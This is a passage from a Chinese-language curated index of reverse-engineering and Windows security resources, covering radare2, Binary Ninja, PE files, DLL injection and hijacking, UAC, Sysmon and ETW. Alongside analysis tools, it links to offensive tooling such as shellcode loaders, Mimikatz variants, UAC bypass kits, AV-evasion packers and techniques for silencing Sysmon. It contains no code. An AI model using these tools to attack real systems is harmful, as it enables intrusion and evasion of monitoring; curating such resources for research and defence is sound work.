- [**378**星][27d] [JS] [nowsecure/r2frida](https://github.com/nowsecure/r2frida) Radare2 and Frida better together.
- 重复区段: [DBI->Frida->工具->与其他工具交互->Radare2](#ac053c4da818ca587d57711d2ff66278) |
#### <a id="1cfe869820ecc97204a350a3361b31a7"></a>IDA
### <a id="f7778a5392b90b03a3e23ef94a0cc3c6"></a>GUI
#### <a id="8f151d828263d3bc038f75f8d6418758"></a>GUI
#### <a id="df45c3c60bd074e21d650266aa85c241"></a>Cutter
- [**6176**星][8d] [C++] [radareorg/cutter](https://github.com/radareorg/cutter) 逆向框架 radare2的Qt界面，iaito的升级版
***
## <a id="95fdc7692c4eda74f7ca590bb3f12982"></a>文章&&视频
### <a id="a4debf888d112b91e56c90136f513ec0"></a>未分类
- 2019.10 [prsecurity] [Radare2 for RE CTF](https://medium.com/p/e0163cb0466e)
- 2019.09 [securityartwork] [YaraRET (I): Carving with Radare2 & Yara](https://www.securityartwork.es/2019/09/02/yararet-i-carving-with-radare2-yara/)
- 2019.07 [freebuf] [教你使用Cutter和Radare2对APT32恶意程序流程图进行反混淆处理](https://www.freebuf.com/articles/network/208019.html)
- 2019.07 [THER] [0x0D - FLARE-On #3 Challenge Part 2 [Reversing with Radare2]](https://www.youtube.com/watch?v=QP9Cepdqf-o)
- 2019.07 [THER] [0x09 Cross References [Reversing with Radare2]](https://www.youtube.com/watch?v=yOtx6LL_R08)
- 2019.07 [THER] [0x08 Navigation [Reversing with Radare2]](https://www.youtube.com/watch?v=rkygJSjJbso)
- 2019.07 [THER] [0x04 Target Application [Reversing with Radare2]](https://www.youtube.com/watch?v=jlr3FablVIc)
- 2019.06 [THER] [0x03 Environment Setup [Reversing with Radare2]](https://www.youtube.com/watch?v=qGSFk_CkIaw)
- 2019.06 [THER] [0x02 What is Radare2 [Reversing with Radare2]](https://www.youtube.com/watch?v=9fLfD2fZWiA)
- 2019.06 [THER] [0x00 Intro [Reversing with Radare2]](https://www.youtube.com/watch?v=Lva32dXS0mU)
- 2019.06 [hitbsecconf] [#HITB2019AMS D1T3 - Overcoming Fear: Reversing With Radare2 - Arnau Gamez Montolio](https://www.youtube.com/watch?v=317dNavABKo)
- 2019.05 [X0x0FFB347] [Solving MalwareTech Shellcode challenges with some radare2 magic!](https://medium.com/p/b91c85babe4b)
- 2019.05 [360] [使用Cutter和Radare2对APT32恶意程序流程图进行反混淆处理](https://www.anquanke.com/post/id/178047/)
- 2019.05 [SagiDana] [Radare2 — Keep It Or Leave It?](https://medium.com/p/3d45059ec0d1)
- 2019.04 [X0x0FFB347] [Solving MalwareTech String Challenges With Some Radare2 Magic!](https://medium.com/p/98ebd8ff0b88)
- 2019.04 [radare] [Radare2 Summer of Code 2019 Selection Results](https://radareorg.github.io/blog/posts/rsoc-2019-selection/)
- 2019.04 [radare] [Radare2 Summer of Code 2019 Selection Results](http://radare.today/posts/rsoc-2019-selection/)
- 2019.03 [sans] [Binary Analysis with Jupyter and Radare2](https://isc.sans.edu/forums/diary/Binary+Analysis+with+Jupyter+and+Radare2/24748/)
- 2019.02 [freebuf] [Radare2：一款类Unix命令行逆向安全框架](https://www.freebuf.com/sectool/195703.html)
- 2019.02 [radare] [Radare2 Community Survey Results](http://radare.today/posts/radare2-survey/)
### <a id="d86e19280510aee0bcf2599f139cfbf7"></a>Cutter
- 2019.12 [megabeets] [5 Ways to patch binaries with Cutter](https://www.megabeets.net/5-ways-to-patch-binaries-with-cutter/)
- 2019.07 [THER] [0x0C - Cutter: FLARE-On #3 Challenge Part 1 [Reversing with Radare2]](https://www.youtube.com/watch?v=hbEpVwD5rJI)
- 2018.10 [PancakeNopcode] [r2con2018 - Cutter by @xarkes](https://www.youtube.com/watch?v=w8Bl5ZSmmZM)
- 2018.08 [radare] [GSoC 2018 Final: Debugging and Emulation Support for Cutter](https://radareorg.github.io/blog/posts/cutter_debug/)
- 2017.12 [n0where] [Qt C++ radare2 GUI: Cutter](https://n0where.net/qt-c-radare2-gui-cutter)
# <a id="afb7259851922935643857c543c4b0c2"></a>BinaryNinja
***
## <a id="3034389f5aaa9d7b0be6fa7322340aab"></a>插件&&脚本
### <a id="a750ac8156aa0ff337a8639649415ef1"></a>新添加的
- [**2820**星][1m] [Py] [androguard/androguard](https://github.com/androguard/androguard) Reverse engineering, Malware and goodware analysis of Android applications ... and more (ninja !)
- [**328**星][5m] [Py] [vector35/binaryninja-api](https://github.com/vector35/binaryninja-api) Public API, examples, documentation and issues for Binary Ninja
- [**280**星][3m] [Py] [pbiernat/ripr](https://github.com/pbiernat/ripr) Package Binary Code as a Python class using Binary Ninja and Unicorn Engine
- [**201**星][14d] [JS] [ret2got/disasm.pro](https://github.com/ret2got/disasm.pro) A realtime assembler/disassembler (formerly known as disasm.ninja)
### <a id="bba1171ac550958141dfcb0027716f41"></a>与其他工具交互
#### <a id="c2f94ad158b96c928ee51461823aa953"></a>未分类
#### <a id="713fb1c0075947956651cc21a833e074"></a>IDA
***
## <a id="2d24dd6f0c01a084e88580ad22ce5b3c"></a>文章&&视频
- 2019.08 [trailofbits] [Reverse Taint Analysis Using Binary Ninja](http://blog.trailofbits.com/2019/08/29/reverse-taint-analysis-using-binary-ninja/)
- 2018.09 [aliyun] [使用Binary Ninja调试共享库](https://xz.aliyun.com/t/2826)
- 2018.09 [kudelskisecurity] [Analyzing ARM Cortex-based MCU firmwares using Binary Ninja](https://research.kudelskisecurity.com/2018/09/25/analyzing-arm-cortex-based-mcu-firmwares-using-binary-ninja/)
- 2018.07 [aliyun] [WCTF 2018 - binja - rswc](https://xz.aliyun.com/t/2436)
- 2018.04 [trailofbits] [使用Binary Ninja的MLIL和SSA, 挖掘二进制文件的漏洞. (MLIL: Medium Level IL, 中间层IL)(SSA: Single Static Assignment)](https://blog.trailofbits.com/2018/04/04/vulnerability-modeling-with-binary-ninja/)
- 2018.01 [pediy] [[翻译]逆向平台Binary Ninja介绍](https://bbs.pediy.com/thread-224141.htm)
- 2017.11 [] [bnpy - A python architecture plugin for Binary Ninja](https://0xec.blogspot.com/2017/11/bnpy-python-architecture-plugin-for.html)
- 2017.10 [ret2] [Untangling Exotic Architectures with Binary Ninja](http://blog.ret2.io/2017/10/17/untangling-exotic-architectures-with-binary-ninja/)
- 2017.10 [chokepoint] [Pin Visual Coverage Tool for Binary Ninja](http://www.chokepoint.net/2017/10/pin-visual-coverage-tool-for-binary.html)
- 2017.03 [GynvaelEN] [Hacking Livestream #14: Binary Ninja Plugins (with carstein)](https://www.youtube.com/watch?v=c9Tn2nEPp7A)
- 2016.12 [kchung] [Binary Ninja: IPython and the Python Console](https://blog.kchung.co/binary-ninja-ipython-and-the-python-console/)
- 2016.03 [arm] [Introduction to the Binary Ninja API](http://arm.ninja/2016/03/08/intro-to-binary-ninja-api/)
# <a id="2f81493de610f9b796656b269380b2de"></a>Windows
***
## <a id="620af0d32e6ac1f4a3e97385d4d3efc0"></a>PE
### <a id="574db8bbaafbee72eeb30e28e2799458"></a>工具
- [**877**星][8m] [Py] [erocarrera/pefile](https://github.com/erocarrera/pefile) pefile is a Python module to read and work with PE (Portable Executable) files
- [**634**星][10d] [C] [thewover/donut](https://github.com/thewover/donut) Generates x86, x64, or AMD64+x86 position-independent shellcode that loads .NET Assemblies, PE files, and other Windows payloads from memory and runs them with parameters
- [**537**星][1y] [C#] [ghostpack/safetykatz](https://github.com/ghostpack/safetykatz) Mimikatz和 .NET PE Loader的结合
- [**388**星][1y] [Assembly] [hasherezade/pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode) Converts PE into a shellcode
- [**385**星][3m] [Jupyter Notebook] [endgameinc/ember](https://github.com/endgameinc/ember) 110万PE文件的数据集合, 可用于训练相关模型. PE文件信息主要包括: SHA256/histogram(直方图)/byteentropy(字节熵)/字符串/PE头信息/段信息/导入表/导出表
- [**344**星][1y] [Assembly] [egebalci/amber](https://github.com/egebalci/amber) 反射式PE加壳器，用于绕过安全产品和缓解措施
- [**337**星][5m] [C] [merces/pev](https://github.com/merces/pev) The PE file analysis toolkit
- [**316**星][24d] [C++] [trailofbits/pe-parse](https://github.com/trailofbits/pe-parse) Principled, lightweight C/C++ PE parser
- [**315**星][14d] [VBA] [itm4n/vba-runpe](https://github.com/itm4n/vba-runpe) A VBA implementation of the RunPE technique or how to bypass application whitelisting.
- [**296**星][12d] [C++] [hasherezade/libpeconv](https://github.com/hasherezade/libpeconv) 用于映射和取消映射PE 文件的库
- [**285**星][7m] [Java] [katjahahn/portex](https://github.com/katjahahn/portex) Java library to analyse Portable Executable files with a special focus on malware analysis and PE malformation robustness
### <a id="7e890d391fa32df27beb1377a371518b"></a>文章
- 2019.12 [aliyun] [手工shellcode注入PE文件](https://xz.aliyun.com/t/6939)
- 2019.10 [freebuf] [PEpper：一款针对可执行程序的开源恶意软件静态分析工具](https://www.freebuf.com/sectool/214265.html)
- 2019.09 [sevagas] [Process PE Injection Basics](https://blog.sevagas.com/?Process-PE-Injection-Basics)
- 2019.07 [hexacorn] [PE Section names – re-visited, again](http://www.hexacorn.com/blog/2019/07/26/pe-section-names-re-visited-again/)
- 2019.06 [hasherezade] [PE-sieve v0.2.1 release notes - import recovery & unpacking ASPack (part 2)](https://www.youtube.com/watch?v=-YVrU4-507A)
- 2019.05 [0x00sec] [Backdoorin pe files](https://0x00sec.org/t/backdoorin-pe-files/13912/)
- 2019.05 [360] [Windows调试艺术——PE文件变形（一）](https://www.anquanke.com/post/id/178088/)
- 2019.05 [arxiv] [[1905.01999] A Benchmark API Call Dataset for Windows PE Malware Classification](https://arxiv.org/abs/1905.01999)
- 2019.04 [decoder] [Combinig LUAFV PostLuafvPostReadWrite Race Condition PE with DiagHub collector exploit -> from standard user to SYSTEM](https://decoder.cloud/2019/04/29/combinig-luafv-postluafvpostreadwrite-race-condition-pe-with-diaghub-collector-exploit-from-standard-user-to-system/)
- 2019.04 [MalwareAnalysisForHedgehogs] [Malware Theory - PE Malformations and Anomalies](https://www.youtube.com/watch?v=-0DEEbQq8jU)
- 2019.04 [freebuf] [Xori：一款针对PE32和Shellcode的自动化反编译与静态分析库](https://www.freebuf.com/sectool/199629.html)
- 2019.03 [hexacorn] [PE files and the DemoScene](http://www.hexacorn.com/blog/2019/03/14/pe-files-and-the-demoscene/)
- 2019.03 [] [携带恶意PE文件的壁纸类应用出现在Google Play](http://blogs.360.cn/post/malicious_PE_files_discovered_on_Google%20Play.html)
- 2019.03 [] [携带恶意PE文件的壁纸类应用出现在Google Play](http://blogs.360.cn/post/malicious_PE_files_discovered_on_Google%20Play.html)
- 2019.03 [] [Malicious PE files discovered on Google Play](http://blogs.360.cn/post/malicious_PE_files_discovered_on_GooglePlay_EN.html)
- 2019.03 [hexacorn] [PE Compilation Timestamps vs. forensics](http://www.hexacorn.com/blog/2019/03/11/pe-compilation-timestamps-vs-forensics/)
- 2019.03 [cristivlad25] [Machine Learning for Malware Detection - 4 - Portable Executable (PE) Files](https://www.youtube.com/watch?v=2Pr6MNcXLFE)
- 2019.03 [hexacorn] [Extracting and Parsing PE signatures en masse](http://www.hexacorn.com/blog/2019/03/03/extracting-and-parsing-pe-signatures-en-masse/)
- 2019.02 [hexacorn] [PE files and the Easy Programming Language (EPL)](http://www.hexacorn.com/blog/2019/02/13/pe-files-and-the-easy-programming-language-epl/)
- 2019.01 [pediy] [[原创]PE加载器的简单实现](https://bbs.pediy.com/thread-249133.htm)
***
## <a id="89f963773ee87e2af6f9170ee60a7fb2"></a>DLL
### <a id="4dcfd9135aa5321b7fa65a88155256f9"></a>新添加
#### <a id="9753a9d52e19c69dc119bf03e9d7c3d2"></a>工具
- [**1915**星][22d] [C#] [lucasg/dependencies](https://github.com/lucasg/dependencies) A rewrite of the old legacy software "depends.exe" in C# for Windows devs to troubleshoot dll load dependencies issues.
- [**1333**星][10m] [C] [fancycode/memorymodule](https://github.com/fancycode/memorymodule) Library to load a DLL from memory.
- [**1146**星][27d] [C#] [perfare/il2cppdumper](https://github.com/perfare/il2cppdumper) Restore dll from Unity il2cpp binary file (except code)
- [**793**星][11m] [C#] [terminals-origin/terminals](https://github.com/terminals-origin/terminals) Terminals is a secure, multi tab terminal services/remote desktop client. It uses Terminal Services ActiveX Client (mstscax.dll). The project started from the need of controlling multiple connections simultaneously. It is a complete replacement for the mstsc.exe (Terminal Services) client. This is official source moved from Codeplex.
- [**388**星][7m] [C++] [hasherezade/dll_to_exe](https://github.com/hasherezade/dll_to_exe) Converts a DLL into EXE
- [**363**星][19d] [C#] [3f/dllexport](https://github.com/3f/dllexport) .NET DllExport
- [**240**星][10m] [C++] [wbenny/detoursnt](https://github.com/wbenny/detoursnt) Detours with just single dependency - NTDLL
- [**230**星][1y] [C#] [misaka-mikoto-tech/monohooker](https://github.com/Misaka-Mikoto-Tech/MonoHooker) hook C# method at runtime without modify dll file (such as UnityEditor.dll)
- [**215**星][6m] [C#] [erfg12/memory.dll](https://github.com/erfg12/memory.dll) C# Hacking library for making PC game trainers.
- [**214**星][26d] [C++] [chuyu-team/mint](https://github.com/Chuyu-Team/MINT) Contains the definitions for the Windows Internal UserMode API from ntdll.dll, samlib.dll and winsta.dll.
#### <a id="b05f4c5cdfe64e1dde2a3c8556e85827"></a>文章
- 2019.12 [freebuf] [如何使用ADSI接口和反射型DLL枚举活动目录](https://www.freebuf.com/articles/system/218855.html)
- 2019.11 [tyranidslair] [The Internals of AppLocker - Part 4 - Blocking DLL Loading](https://tyranidslair.blogspot.com/2019/11/the-internals-of-applocker-part-4.html)
- 2019.09 [hexacorn] [RunDll32 — API calling](http://www.hexacorn.com/blog/2019/09/28/rundll32-api-calling/)
- 2019.09 [4hou] [《MiniDumpWriteDump via COM+ Services DLL》的利用测试](https://www.4hou.com/technology/20146.html)
- 2019.08 [osandamalith] [Converting an EXE to a DLL](https://osandamalith.com/2019/08/26/converting-an-exe-to-a-dll/)
- 2019.06 [4hou] [域渗透——利用dnscmd在DNS服务器上实现远程加载Dll](https://www.4hou.com/penetration/18447.html)
- 2019.06 [hexacorn] [Playing with Delay-Loaded DLLs…](http://www.hexacorn.com/blog/2019/06/03/playing-with-delay-loaded-dlls/)
- 2019.05 [3gstudent] [域渗透——利用dnscmd在DNS服务器上实现远程加载Dll](https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%88%A9%E7%94%A8dnscmd%E5%9C%A8DNS%E6%9C%8D%E5%8A%A1%E5%99%A8%E4%B8%8A%E5%AE%9E%E7%8E%B0%E8%BF%9C%E7%A8%8B%E5%8A%A0%E8%BD%BDDll/)
- 2019.05 [3gstudent] [域渗透——利用dnscmd在DNS服务器上实现远程加载Dll](https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%88%A9%E7%94%A8dnscmd%E5%9C%A8DNS%E6%9C%8D%E5%8A%A1%E5%99%A8%E4%B8%8A%E5%AE%9E%E7%8E%B0%E8%BF%9C%E7%A8%8B%E5%8A%A0%E8%BD%BDDll/)
- 2019.05 [4sysops] [PS Protector: Convert your PowerShell module into a .NET assembly DLL](https://4sysops.com/archives/ps-protector-convert-your-powershell-module-into-a-net-assembly-dll/)
- 2019.05 [0x00sec] [Malicious DLL execution using Apple's APSDaemon.exe signed binary](https://0x00sec.org/t/malicious-dll-execution-using-apples-apsdaemon-exe-signed-binary/13409/)
- 2019.04 [4hou] [Qt5漏洞导致Cisco WebEx和Malwarebytes反病毒产品可远程加载任意DLL](https://www.4hou.com/vulnerable/17257.html)
- 2019.04 [id] [DLL CryptoMix](http://id-ransomware.blogspot.com/2019/04/dll-cryptomix-ransomware.html)
- 2019.03 [CyborgElf] [How To Make an Internal DLL Game Hack C++ (Rainbow Six Siege)](https://www.youtube.com/watch?v=wrIPVBXXisc)
- 2019.02 [] [No Source Code For a 14-Year Old Vulnerable DLL? No Problem. (CVE-2018-20250)](https://blog.0patch.com/2019/02/no-source-code-for-14-year-old.html)
- 2018.12 [srcincite] [思科Webex桌面会议App提权漏洞, 可导致RCE](https://srcincite.io/blog/2018/12/03/webexec-reloaded-cisco-webex-meetings-desktop-app-lpe.html)
### <a id="3b4617e54405a32290224b729ff9f2b3"></a>DLL注入
#### <a id="b0d50ee42d53b1f88b32988d34787137"></a>工具
- [**713**星][5m] [C++] [darthton/xenos](https://github.com/darthton/xenos) Windows DLL 注入器
- [**588**星][2m] [PS] [monoxgas/srdi](https://github.com/monoxgas/srdi) Shellcode implementation of Reflective DLL Injection. Convert DLLs to position independent shellcode
#### <a id="1a0b0dab4cdbab08bbdc759bab70dbb6"></a>文章
- 2019.12 [freebuf] [如何防止恶意的第三方DLL注入到进程](https://www.freebuf.com/articles/system/219198.html)
- 2019.06 [aliyun] [Windows 10 Task Scheduler服务DLL注入漏洞分析](https://xz.aliyun.com/t/5286)
- 2018.10 [pediy] [[原创]代替创建用户线程使用ShellCode注入DLL的小技巧](https://bbs.pediy.com/thread-247515.htm)
- 2018.10 [4hou] [如何利用DLL注入绕过Win10勒索软件保护](http://www.4hou.com/technology/13923.html)
- 2018.10 [0x00sec] [Reflective Dll Injection - Any Way to check If a process is already injected?](https://0x00sec.org/t/reflective-dll-injection-any-way-to-check-if-a-process-is-already-injected/8980/)
- 2018.09 [pediy] [[原创]win10_arm64 驱动注入dll 到 arm32程序](https://bbs.pediy.com/thread-247032.htm)
- 2018.08 [freebuf] [sRDI：一款通过Shellcode实现反射型DLL注入的强大工具](http://www.freebuf.com/sectool/181426.html)
- 2018.07 [4hou] [注入系列——DLL注入](http://www.4hou.com/technology/12703.html)
- 2018.06 [0x00sec] [Reflective DLL Injection - AV detects at runtime](https://0x00sec.org/t/reflective-dll-injection-av-detects-at-runtime/7307/)
- 2018.06 [qq] [【游戏漏洞】注入DLL显示游戏窗口](http://gslab.qq.com/article-508-1.html)
- 2017.12 [secist] [Mavinject | Dll Injected](http://www.secist.com/archives/5912.html)
- 2017.12 [secvul] [SSM终结dll注入](https://secvul.com/topics/951.html)
- 2017.10 [nsfocus] [【干货分享】Sandbox技术之DLL注入](http://blog.nsfocus.net/sandbox-technology-dll-injection/)
- 2017.10 [freebuf] [DLL注入新姿势：反射式DLL注入研究](http://www.freebuf.com/articles/system/151161.html)
- 2017.10 [pediy] [[原创]通过Wannacry分析内核shellcode注入dll技术](https://bbs.pediy.com/thread-221756.htm)
- 2017.09 [360] [Dll注入新姿势：SetThreadContext注入](https://www.anquanke.com/post/id/86786/)
- 2017.08 [silentbreaksecurity] [sRDI – Shellcode Reflective DLL Injection](https://silentbreaksecurity.com/srdi-shellcode-reflective-dll-injection/)
- 2017.08 [360] [DLL注入那些事](https://www.anquanke.com/post/id/86671/)
- 2017.08 [freebuf] [系统安全攻防战：DLL注入技术详解](http://www.freebuf.com/articles/system/143640.html)
- 2017.08 [pediy] [[翻译]多种DLL注入技术原理介绍](https://bbs.pediy.com/thread-220405.htm)
### <a id="f39e40e340f61ae168b67424baac5cc6"></a>DLL劫持
#### <a id="c9cdcc6f4acbeda6c8ac8f4a1ba1ea6b"></a>工具
- [**431**星][7m] [Pascal] [mojtabatajik/robber](https://github.com/mojtabatajik/robber) 查找易于发生DLL劫持的可执行文件
- [**299**星][11m] [C++] [anhkgg/superdllhijack](https://github.com/anhkgg/superdllhijack) 一种通用Dll劫持技术，不再需要手工导出Dll的函数接口了
#### <a id="01e95333e07439ac8326253aa8950b4f"></a>文章
- 2019.06 [4hou] [戴尔预装的SupportAssist组件存在DLL劫持漏洞，全球超过1亿台设备面临网络攻击风险](https://www.4hou.com/vulnerable/18764.html)
- 2019.05 [4hou] [《Lateral Movement — SCM and DLL Hijacking Primer》的利用扩展](https://www.4hou.com/technology/18008.html)
- 2019.04 [3gstudent] [《Lateral Movement — SCM and DLL Hijacking Primer》的利用扩展](https://3gstudent.github.io/3gstudent.github.io/Lateral-Movement-SCM-and-DLL-Hijacking-Primer-%E7%9A%84%E5%88%A9%E7%94%A8%E6%89%A9%E5%B1%95/)
- 2019.04 [3gstudent] [《Lateral Movement — SCM and DLL Hijacking Primer》的利用扩展](https://3gstudent.github.io/3gstudent.github.io/Lateral-Movement-SCM-and-DLL-Hijacking-Primer-%E7%9A%84%E5%88%A9%E7%94%A8%E6%89%A9%E5%B1%95/)
- 2019.04 [specterops] [Lateral Movement — SCM and Dll Hijacking Primer](https://medium.com/p/d2f61e8ab992)
- 2019.01 [sans] [DLL Hijacking Like a Boss!](https://www.sans.org/cyber-security-summit/archives/file/summit_archive_1493862085.pdf)
- 2018.11 [t00ls] [一种通用DLL劫持技术研究](https://www.t00ls.net/articles-48756.html)
- 2018.11 [pediy] [[原创]一种通用DLL劫持技术研究](https://bbs.pediy.com/thread-248050.htm)
- 2018.09 [DoktorCranium] [Understanding how DLL Hijacking works](https://www.youtube.com/watch?v=XADSrZEJdXY)
- 2018.09 [astr0baby] [Understanding how DLL Hijacking works](https://astr0baby.wordpress.com/2018/09/08/understanding-how-dll-hijacking-works/)
- 2018.08 [parsiya] [DVTA - Part 5 - Client-side Storage and DLL Hijacking](https://parsiya.net/blog/2018-08-25-dvta-part-5-client-side-storage-and-dll-hijacking/)
- 2018.08 [parsiya] [DVTA - Part 5 - Client-side Storage and DLL Hijacking](https://parsiya.net/blog/2018-08-25-dvta---part-5---client-side-storage-and-dll-hijacking/)
- 2018.06 [cybereason] [Attackers incriminate a signed Oracle process for DLL hijacking, running Mimikatz](https://www.cybereason.com/blog/oracle-mimikatz-dll-hijacking)
- 2018.05 [360] [独辟蹊径：如何通过URL文件实现DLL劫持](https://www.anquanke.com/post/id/145715/)
- 2018.05 [insert] [利用URL文件实现DLL劫持](https://insert-script.blogspot.com/2018/05/dll-hijacking-via-url-files.html)
- 2017.10 [cybereason] [Siofra, a free tool built by Cybereason researcher, exposes DLL hijacking vulnerabilities in Windows programs](https://www.cybereason.com/blog/blog-siofra-free-tool-exposes-dll-hijacking-vulnerabilities-in-windows)
- 2017.08 [securiteam] [SSD Advisory – Dashlane DLL Hijacking](https://blogs.securiteam.com/index.php/archives/3357)
- 2017.05 [4hou] [Windows 下的 7 种 DLL 劫持技术](http://www.4hou.com/technology/4945.html)
- 2017.05 [pediy] [[原创]让代码飞出一段钢琴曲（freepiano小助手）（全局键盘钩子+dll劫持）+有码](https://bbs.pediy.com/thread-217330.htm)
- 2017.03 [pentestlab] [DLL Hijacking](https://pentestlab.blog/2017/03/27/dll-hijacking/)
***
## <a id="40fd1488e4a26ebf908f44fdcedd9675"></a>UAC
### <a id="02517eda8c2519c564a19219e97d6237"></a>工具
- [**2355**星][11d] [C] [hfiref0x/uacme](https://github.com/hfiref0x/uacme) Defeating Windows User Account Control
- [**2307**星][1m] [PS] [k8gege/k8tools](https://github.com/k8gege/k8tools) K8工具合集(内网渗透/提权工具/远程溢出/漏洞利用/扫描工具/密码破解/免杀工具/Exploit/APT/0day/Shellcode/Payload/priviledge/BypassUAC/OverFlow/WebShell/PenTest) Web GetShell Exploit(Struts2/Zimbra/Weblogic/Tomcat/Apache/Jboss/DotNetNuke/zabbix)
- [**1688**星][3m] [Py] [rootm0s/winpwnage](https://github.com/rootm0s/winpwnage) UAC bypass, Elevate, Persistence and Execution methods
### <a id="90d7d5feb7fd506dc8fd6ee0d7e98285"></a>文章
- 2019.11 [4hou] [CVE-2019-1388： Windows UAC权限提升漏洞](https://www.4hou.com/info/news/21710.html)
- 2019.10 [freebuf] [UAC绕过初探](https://www.freebuf.com/articles/system/216337.html)
- 2019.09 [4sysops] [Security options in Windows Server 2016: Accounts and UAC](https://4sysops.com/archives/security-options-in-windows-server-2016-accounts-and-uac/)
- 2019.08 [freebuf] [SneakyEXE：一款嵌入式UAC绕过工具](https://www.freebuf.com/sectool/209097.html)
- 2019.04 [markmotig] [Brute Forcing Admin Passwords with UAC](https://medium.com/p/e711c551ad7e)
- 2019.03 [4hou] [通过模拟可信目录绕过UAC的利用分析](https://www.4hou.com/technology/16713.html)
- 2019.03 [aliyun] [如何滥用Access Tokens UIAccess绕过UAC](https://xz.aliyun.com/t/4126)
- 2019.02 [3gstudent] [通过模拟可信目录绕过UAC的利用分析](https://3gstudent.github.io/3gstudent.github.io/%E9%80%9A%E8%BF%87%E6%A8%A1%E6%8B%9F%E5%8F%AF%E4%BF%A1%E7%9B%AE%E5%BD%95%E7%BB%95%E8%BF%87UAC%E7%9A%84%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90/)
- 2019.02 [3gstudent] [通过模拟可信目录绕过UAC的利用分析](https://3gstudent.github.io/3gstudent.github.io/%E9%80%9A%E8%BF%87%E6%A8%A1%E6%8B%9F%E5%8F%AF%E4%BF%A1%E7%9B%AE%E5%BD%95%E7%BB%95%E8%BF%87UAC%E7%9A%84%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90/)
- 2019.02 [sans] [UAC is not all that bad really](https://isc.sans.edu/forums/diary/UAC+is+not+all+that+bad+really/24620/)
- 2019.01 [fuzzysecurity] [Anatomy of UAC Attacks](http://fuzzysecurity.com/tutorials/27.html)
- 2019.01 [sevagas] [Yet another sdclt UAC bypass](https://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass)
- 2018.11 [4hou] [利用metasploit绕过UAC的5种方式](http://www.4hou.com/system/13707.html)
- 2018.11 [tenable] [UAC Bypass by Mocking Trusted Directories](https://medium.com/p/24a96675f6e)
- 2018.10 [0x000x00] [How to bypass UAC in newer Windows versions](https://0x00-0x00.github.io/research/2018/10/31/How-to-bypass-UAC-in-newer-Windows-versions.html)
- 2018.10 [tyranidslair] [Farewell to the Token Stealing UAC Bypass](https://tyranidslair.blogspot.com/2018/10/farewell-to-token-stealing-uac-bypass.html)
- 2018.10 [freebuf] [使用Metasploit绕过UAC的多种方法](http://www.freebuf.com/articles/system/185311.html)
- 2018.09 [freebuf] [一种绕过UAC的技术介绍](http://www.freebuf.com/articles/system/184140.html)
- 2018.09 [hackingarticles] [Multiple Ways to Bypass UAC using Metasploit](http://www.hackingarticles.in/multiple-ways-to-bypass-uac-using-metasploit/)
- 2018.09 [hexacorn] [A bit of a qUACkery – how to elevate… w/o doing a single thing ;)](http://www.hexacorn.com/blog/2018/09/07/a-bit-of-a-quackery-how-to-elevate-w-o-doing-a-single-thing/)
***
## <a id="0fed6a96b28f339611e7b111b8f42c23"></a>Sysmon
### <a id="d48f038b58dc921660be221b4e302f70"></a>工具
- [**206**星][1y] [JS] [jpcertcc/sysmonsearch](https://github.com/jpcertcc/sysmonsearch) Investigate suspicious activity by visualizing Sysmon's event log
### <a id="2c8cb7fdf765b9d930569f7c64042d62"></a>文章
- 2019.12 [vanimpe] [Use Sysmon DNS data for incident response](https://www.vanimpe.eu/2019/12/02/use-sysmon-dns-data-for-incident-response/)
- 2019.11 [4hou] [你不知道的威胁狩猎技巧：Windows API 与 Sysmon 事件的映射](https://www.4hou.com/system/21461.html)
- 2019.10 [HackersOnBoard] [Subverting Sysmon Application of a Formalized Security Product Evasion Methodology](https://www.youtube.com/watch?v=7eor4Gq1YXE)
- 2019.09 [sans] [Parsing Sysmon Events for IR Indicators](https://digital-forensics.sans.org/blog/2019/09/25/parsing-sysmon-events-for-ir-indicators)
- 2019.09 [blackhillsinfosec] [Getting Started With Sysmon](https://www.blackhillsinfosec.com/getting-started-with-sysmon/)
- 2019.09 [osandamalith] [Unloading the Sysmon Minifilter Driver](https://osandamalith.com/2019/09/22/unloading-the-sysmon-minifilter-driver/)
- 2019.09 [specterops] [Shhmon — Silencing Sysmon via Driver Unload](https://medium.com/p/682b5be57650)
- 2019.09 [4hou] [如何逃逸Sysmon工具对DNS的监控](https://www.4hou.com/web/18660.html)
- 2019.09 [olafhartong] [Sysmon 10.4 release](https://medium.com/p/7f7480300dff)
- 2019.09 [blackhillsinfosec] [Webcast: Windows logging, Sysmon, and ELK](https://www.blackhillsinfosec.com/webcast-windows-logging-sysmon-and-elk/)
- 2019.08 [blackhillsinfosec] [Webcast: Implementing Sysmon and Applocker](https://www.blackhillsinfosec.com/webcast-implementing-sysmon-and-applocker/)
- 2019.07 [eforensicsmag] [Using Sysmon and ETW For So Much More | By David Kennedy](https://eforensicsmag.com/using-sysmon-and-etw-for-so-much-more-by-david-kennedy/)
- 2019.06 [nosecurecode] [Sysmon in a Box](https://nosecurecode.com/2019/06/29/sysmon-in-a-box/)
- 2019.06 [binarydefense] [Using Sysmon and ETW For So Much More - Binary Defense](https://www.binarydefense.com/using-sysmon-and-etw-for-so-much-more/)
- 2019.06 [360] [如何规避Sysmon DNS监控](https://www.anquanke.com/post/id/180418/)
- 2019.06 [SecurityWeekly] [Sysmon DNS Logging, Gravwell - PSW #608](https://www.youtube.com/watch?v=e_E6F1G6b88)
- 2019.06 [xpnsec] [Evading Sysmon DNS Monitoring](https://blog.xpnsec.com/evading-sysmon-dns-monitoring/)
- 2019.06 [olafhartong] [Using Sysmon in Azure Sentinel](https://medium.com/p/883eb6ffc431)
- 2019.05 [olafhartong] [Sysmon 10.0 - New features and changes](https://medium.com/p/e82106f2e00)
- 2019.02 [specterops] [Putting Sysmon v9.0 AND/OR Grouping Logic to the Test](https://medium.com/p/c3ec27263df8)
***
## <a id="ac43a3ce5a889d8b18cf22acb6c31a72"></a>ETW
### <a id="0af4bd8ca0fd27c9381a2d1fa8b71a1f"></a>工具
- [**1228**星][10d] [JS] [jpcertcc/logontracer](https://github.com/jpcertcc/logontracer) 通过可视化和分析Windows事件日志来调查恶意的Windows登录
- [**865**星][22d] [C++] [google/uiforetw](https://github.com/google/uiforetw) User interface for recording and managing ETW traces
- [**654**星][10m] [Roff] [palantir/windows-event-forwarding](https://github.com/palantir/windows-event-forwarding) 使用 Windows 事件转发实现网络事件监测和防御
